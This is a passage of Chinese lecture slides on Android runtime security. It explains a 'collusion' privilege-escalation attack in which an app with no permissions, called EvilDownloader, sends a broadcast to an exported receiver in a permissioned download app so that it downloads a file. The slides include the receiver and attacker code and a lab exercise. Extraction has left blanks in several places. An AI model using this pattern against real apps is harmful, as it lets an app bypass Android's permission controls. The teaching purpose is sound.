移动应用安全
串谋权限攻击
Android程序中资源的访问包括
使用Framework提供的功能
通过系统提供的权限机制进行控制的
2. 访问其它程序的组件
其他组件自定义权限控制
正常情况下,没有声明特定的访问权限,就无法访问这些资源
第三层面-程序运行时的安全
串谋权限攻击
但通过其它程序中可访问的Android组件,就有可能突破这种访问控制,从而提升程序本身的权限,这种权限提升的攻击方式称为串谋权限攻击。
:
第三层面-程序运行时的安全
程序1
程序2
联网下载文件并保存到sd卡上
串谋权限攻击
不允许
允许
串谋权限攻击实例
在下载管理程序中DownloadManager中输入要下载文件的URL,点击载按钮可以下载文件并保存到SD卡上
DownloadManager有下载文件与保存到SD卡上的权限
: <uses-permission android: name=“ ”/>
<uses-permission android: name=“android. permission.”/>
第三层面-程序运行时的安全
串谋权限攻击实例
下载文件的功能是通过接收下载请求广播,在下载广播接收者中完成
:
<receiver android: name=”. DownloadReceiver”>
<intent- filter>
<action android: name=”" ></action>
</intent- filter>
</receiver>
第三层面-程序运行时的安全
串谋权限攻击实例
.”的广播,然后按Intent指定的URL下载文件,响应广播的代码如下:
public void onReceive (Context context, Intent intent) {
if(intent. getAction().equals(”com. droider. download‘’)) {
String url=intent. getExtras().getString(”url”);
String fileName=intent. getExtras().getString(”filename”);
Toast. makeText( context, url, Toast. LENGTH_SHORT). show();
try{
downloadFile (url, fileName); //下载文件;下载的文件名由url字符串传过来,保存的
// 文件名通过filename传递过来
} catch (IOException e) {
();
}
}
}
第三层面-程序运行时的安全
串谋权限攻击实例
攻击程序EvilDownloader,无任何权限,只需发送文件下载请求广播
btn1. setOnClickListener( new OnClickListener() {
***@Override
public void onClick(View v) {
Intent intent=new Intent(); //创建Intent对象
intent. setAction(”com. droider. download”);
intent. putExtra(“url”,“http://developer. android. com/images/home/android-jellybean. png”);
//要下载的文件URL
第三层面-程序运行时的安全
串谋权限攻击实例
String fileName=“”; //保存的文件名
intent. putExtra(“filename”, fileName) ;
sendBroadcast(intent); //发送广播
}
});
EviIDownloader实例的下载文件按钮被点击后,执行以上代码
DownloadReceiver收到广播后开始下载文件,完成串谋攻击
第三层面-程序运行时的安全
串谋权限攻击
实验:
1、安装运行DownloadReceiver和EvilDownloader
2、实现串谋攻击
注意:将要下载的
串谋权限攻击(ppt课件) 来自淘豆网m.daumloan.com转载请标明出处.